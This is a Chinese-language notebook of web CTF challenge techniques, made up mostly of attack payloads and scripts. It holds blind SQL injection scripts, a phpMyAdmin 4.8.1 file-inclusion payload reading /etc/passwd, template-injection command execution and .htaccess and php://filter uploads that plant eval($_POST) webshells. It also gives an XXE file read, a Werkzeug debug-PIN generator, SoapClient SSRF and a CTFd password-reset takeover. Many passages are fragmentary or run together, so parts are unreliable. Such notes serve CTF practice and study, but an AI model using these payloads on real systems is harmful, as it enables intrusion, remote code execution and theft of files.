知识点:
a=b&c=d
foreach($_POST as $x => $y){
echo $x;
echo "";
echo $y;
echo "";
}
将输出 a b c d
修改时间戳
多留意cookie
知识点:
phpmyadmin漏洞
影响版本:4.8.0——4.8.1
payload:/phpmyadmin/?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/etc/passwd
import requests
url='http://d491201c-e8b8-483e-b1ad-12d0f3830527.node3.buuoj.cn/check.php'
flag=''
for i in range(1,150):
print(i)
for j in range(38,128):
payload="||if(ascii(substr(password,"+str(i)+",1))>"+str(j)+",1,sleep(3))#"
data={
'username':'\\',
'password':payload
}
try:
requests.post(url,data=data,timeout=(2.5,2.5))
except:
flag+=chr(j)
print(flag)
break
知识点:
php模板注入 {{system(‘ls’)}}
_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]="";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
知识点:
reg_replace() /e模式漏洞
\S*=${phpinfo()}
知识点:
多次转义出现漏洞
$id=addslashes($id);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
短标签: (php.ini开启short_open_tag = On) ?> = ?>
知识点:
ctfd漏洞
利用添加空格绕过限制来注册一个与受害者用户名相同的账号
生成忘记密码链接发送到自己的邮箱
将自己的账号的用户名改成与被攻击者不相同的用户名
用邮箱中收到的链接更改密码即可。
知识点:
case 1 when 1 then sleep(3) else 0 end代替 if
import requests
url='http://039fe22e-9b61-4b6c-8bd5-399ad752b4a5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)
知识点:
1 异或绕过正则表达式
2 上传.htaccess
.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。
php是7.2的版本,无法使用
来绕过对 可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
内容
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
GIF89a12PD9waHAgZXZhbCgkX1BPU1RbImMiXSk7Pz4= 密码c
3 禁用命令绕过
(SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
同63
assert(eval($_POST[1]))
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);```
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
上传e.php到可用目录
然后include
知识点:
1
url中?可以注释掉后面的内容
例如 127.0.0.1/1.php?asdqwedawawd
2
sprintf()函数漏洞
format(%s - 字符串,%c - ASCII 值对应的字符,%d - 包含正负号的十进制数(负数、0、正数))
%1$c 表示第一个占位符为ascii格式
当有些条件无法满足时,尝试为null
git恢复
1
git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03(就是第一个红线所指)
2
git stash list | tee
git stash pop # 或者使用 git stash apply
找不到文件
打开.bash_history 或者 命令 history
./php_mt_seed 33 33 0 61 42 42 0 61 32 32 0 61 35 35 0 61 50 50 0 61 54 54 0 61 1 1 0 61 24 24 0 61 39 39 0 61 24 24 0 61
找出随机数的前几个 加上 0-范围
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件, 所以先请求
/?url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123 利用open的feature执行代码
最后直接访问/sandbox/哈希值/123就能得到flag
这里先引入一个知识点;文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况;;pid就是进程记录的打开文件的序号;
cat /proc/*/fd/*
1 因此对于需要GET的一些参数,比如zuishuai,只需要同时POST一个数字即可绕过 任何地方都有可能是注入点,多去尝试 bin码生成 pin码生成 不会 数组绕过 md5 pass pass php://filter/read=convert.base64-encode/ XFF 知识点: 知识点: 知识点: 1)phar文件要能够上传至服务器 2)要有可用的魔术方法为跳板 3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤 array_push(array,“red”): 向数组中添加字符 php 魔法方法: Phar生成 知识点: pass 知识点 pass 知识点 知识点: 知识点 伪协议不区分大小写 php://filter/convert.base64-encode/resoucre=flag.php 知识点: 题目源码 知识点: 利用正则表达式盲注密码 readfile(“file://localhost/etc/passwd”)可以读文件 如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。因此,如果将类 B 对象作为value冗余,则将调用析构函数,而不会导致反序列化错误,即先解析 O:1:“B”:0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1) ,不为False,于是不会进入到ob_end_clean(),最后输出flag 这题如果直接传入 O:1:“B”:0:{} 源码 知识点: 我们观察一下,这个实际上是什么? payload: 知识点:php(smarty)模板注入 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);. 2.经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 3.经过escapeshellcmd处理后变成’172.17.0.2’\’’ -v -d a=1’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。 1.后面没有加引号 ?host=’ -oG hack.php 输出:’’\’’ -oG test.php’ 返回结果是文件名后面会多一个引号 2.加引号但引号前没有空格 ?host=’ -oG hack.php’ 输出:’’\’’ -oG test.php’\’’’ 文件名后面就会多出\ SoapClient poc 最后加| 知识点 知识点 thinkphp6 任意文件操作漏洞 知识点:
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
用%0a绕过
2
if (file_get_contents($file) !== 'debu_debu_aqua')
用 php://input 或者data://text/plain,xxx
3
request的顺序:GETforeach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
4create_function($a,$b);转换下为
function($a){$b;}
$b=}system('ls');//
0x070[NCTF2019]Fake XML cookbook
xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>
<username>&xxe;</username>
</user>
0x071 [RoarCTF 2019]Online Proxy
0x072 [GYCTF2020]FlaskApp
* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb
* 2. modname 一般不变就是flask.app
* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变
* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py
* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:
* 6.最后一个就是机器的id。
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
private_bits = [
'2485410337047',# address
'0e8d403fd78af15e7562120ee48010dfbe557250ea8e4deb84c2979e3df15765'# machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
0X073 [GYCTF2020]Easyphp
0x074 [MRCTF2020]Ez_bypass
123456==‘123456a’0x075 [BSidesCF 2019]Futurella
0x076 [BSidesCF 2019]Kookie
0x077[BSidesCF 2020]Had a bad day(文件包含)
aaa
/resource=index.php0x078 [MRCTF2020]PYWebsite
仔细读题0x079 [MRCTF2020]套娃
1 $_SERVER[‘QUERY_STRING’] 不会url解码
2 url不区分大小写
3 preg_match('/^23333$/', $_GET['b_u_p_t']
%0绕过
4 获取ip
X-Forwarded-For
X-Real-IP
client-ip
5 file_get_content()绕过 data伪协议 input 伪协议0x080 [WUSTCTF2020]朴实无华
1
php 5.5版本 intval(‘1999e2’)=1999 inval(‘1999e2’+1)=199901
php 7版本 intval(‘1999e2’)=199900 intal(‘1999e2’+1)=199901
2
md5(‘0e215962017’)=0e291242476940776845150308577824
3
strstr(‘12 3’,’ ')=3
4
str_ireplace: 把Hello world!中的world替换成 上海
echo str_ireplace(“WORLD”,“Shanghai”,“Hello world!”);0x081[GYCTF2020]Ezsqli (无列名注入)
如果表中只有一列可以
SUBSTR((SELECT * FROM table),1,1)='x'
如果多列的话可以
select (select 'f',1)>(select * from flag)
select b from (select 1,2 as b union select * from flag)a;
如果区分大小写
使用0x即可
字符集
-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~
0x082 [CISCN2019 华北赛区 Day1 Web1]Dropbox(phar)
public __call ( string $name , array $arguments )
$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
public __toString ( void ) : string
一个类被当成字符串时应怎样回应
__invoke ([ $... ] ) : mixed
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
public __set ( string $name , mixed $value ) : void
在给不可访问属性赋值时,__set() 会被调用。
参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。
public __get ( string $name ) : mixed
读取不可访问属性的值时,__get() 会被调用。
public __sleep ( void ) : array
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
__wakeup ( void ) : void
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法
public static function __set_state($an_array)
当调用 var_export() 导出类时,此静态 方法会被调用。
__clone ( void ) : void
当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。
public function __debugInfo()
该方法在var_dump()类对象的时候被调用,如果没有定义该方法,则var_dump会打印出所有的类属性
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");//设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
0x083[百度杯CTF比赛 九月场] SQLi 逗号绕过注入
select username from users where u = ‘1’ union select * from ( (select user())a JOIN (select version())b)0x084 [Zer0pts2020]Can you guess it?
$_SERVER['PHP_SELF'] 当前执行脚本的文件名
basename("/testweb/home.php");// home.php
$_SERVER['PHP_SELF']; // /a.php
0x085 [b01lers2020]Welcome to Earth
0x086 [MRCTF2020]Ezaudit (php_mt_seed 爆破)
mt_srand()撒种
mt_rand()
每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数0x087 [WUSTCTF2020]CV Maker
0x088 X计划文件包含
php://input
zip伪协议的利用
file=zip://"zip文件绝对路径"%23shell.php
0x089 [NPUCTF2020]ReadlezPHP
assert可以命令执行
assert("eval($_POST[1];)");
尝试去 phpinfo中寻找flag0x090[NPUCTF2020]ezlogin Xpath注入
xpathimport re
import requests
sess = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param=''
flag=''
for i in range(1,50):
print(i)
for s in strs:
url='http://7fba2393-bbef-42b1-844b-ae14f68f1a15.node3.buuoj.cn/login.php'#注意加login.php
token=re.findall(param,sess.get(url).text)[0]
#print(token)
#data="
0x091 [NPUCTF2020]ezinclude
这⾥可以⽤php7 segment fault特性
php://filter/string.strip_tags=/etc/passwd
php执⾏过程中出现 Segment Fault,这样如果在此同时上传⽂件,那么临时⽂件就会被保存
在/tmp⽬录,不会被删除
md5($secret.$name)===$pass
绕过
使用 hashpump工具
hashpump -s de73312423b835b22bfdc3c6da7b63e9 -d admin -
k 10 -a admin
其中 de73312423b835b22bfdc3c6da7b63e9为md5($secret.'admin')
0x092
include "config.php";
error_reporting(0);
highlight_file(__FILE__);
$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){
die('<h1>Hacking first,then login!Username is very special.</h1>');
}
if(preg_match($check_list, $_POST['passwd'])){
die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
echo "
Welcome to CTF Training!Please login as role of admin!
";
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
$url = $_SERVER["HTTP_REFERER"];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost'){
die('<h1>The website only can come from localhost!You are not admin!</h1>');
}
else{
readfile($url);
}
}
?>
有些数据库%00是注释符data={
'username':'\\',
'passwd':'||passwd/**/regexp/**/"^{0}";{1}'.format(w,key)
}
Microsoft Access支持“null”和“%00”注释;
Microsoft SQL Server支持“--”和“;”注释;
MySQL支持“/*”注释;
Oracle支持“--”注释;
0x093
ini_set('display_errors', 1);
error_reporting(E_ALL);
class B {
function __destruct() {
echo $flag;
}
}
if (isset($_POST['payload'])) {
ob_start();
$a = unserialize($_POST['payload']);
/*if ($a === False) {
ob_end_clean();
} */
throw new Exception('Something tragic happened');
}
?>
a:2:{i:0;O:1:"B":0:{}i:0;i:1;}
是不会输出flag,因为虽然这样反序列化得到的a是一个对象不等于False,但是之后会通过throw new 抛出一个错误,它这里的抛出错误就类似于下了一个断点一样,使得脚本程序的运行停止在了这里,并没有结束,所以反序列化后的B对象仍然存在,不会触发__destruct0x094
$exit="";
@$exit.=$_POST['death'];
@$filename = $_POST['filename'];
if(!isset($filename)){
@file_put_contents($filename, "you should set something");
}
else{
@file_put_contents($filename,$exit);
}
?>
绕过死亡exit
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
death=&filename=php://filter/write=string.rot13/resource=shell.php
death=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=string.strip_tags/convert.base64-decode/resource=shell.php
death=aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=convert.base64-decode/resource=shell.php
0x095 [CISCN2019 华东南赛区]Web11
{if system("ls")}{/if}
0x096 [网鼎杯 2020 朱雀组]Nmap
1.传入的参数是:172.17.0.2’ -v -d a=1
一些细节的错误会导致无法访问,例如:0x097 bestphp’s revenge
是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下:
session_start([‘serialize_handler’=>‘php_serialize’])public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
php 键名 + 竖线 + 经过serialize()函数反序列化处理的值
php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数反序列处理的数组0x098 [SWPU2019]Web3
session伪造
python3 flask_session_cookie_manager3.py decode -c '.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.XtOUAA.KlkgEF4cwRcBmghj563W_9rlnQs ' -s 'keyqqqwwweee!@#$%^&*'
ln -s是Linux的一种软连接,类似与windows的快捷方式
ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码
/proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录ln -s /proc/self/cwd/flag/flag.jpg qwe
zip -ry qwe.zip qwe
0x099 [GYCTF2020]EasyThinking
session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下,getshell
/runtime/session/sess_1234567890123456789012345678.php0x100 [SWPU2019]Web4
堆叠注入
set @a=0x********;prepare test from @a;execute test;
从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。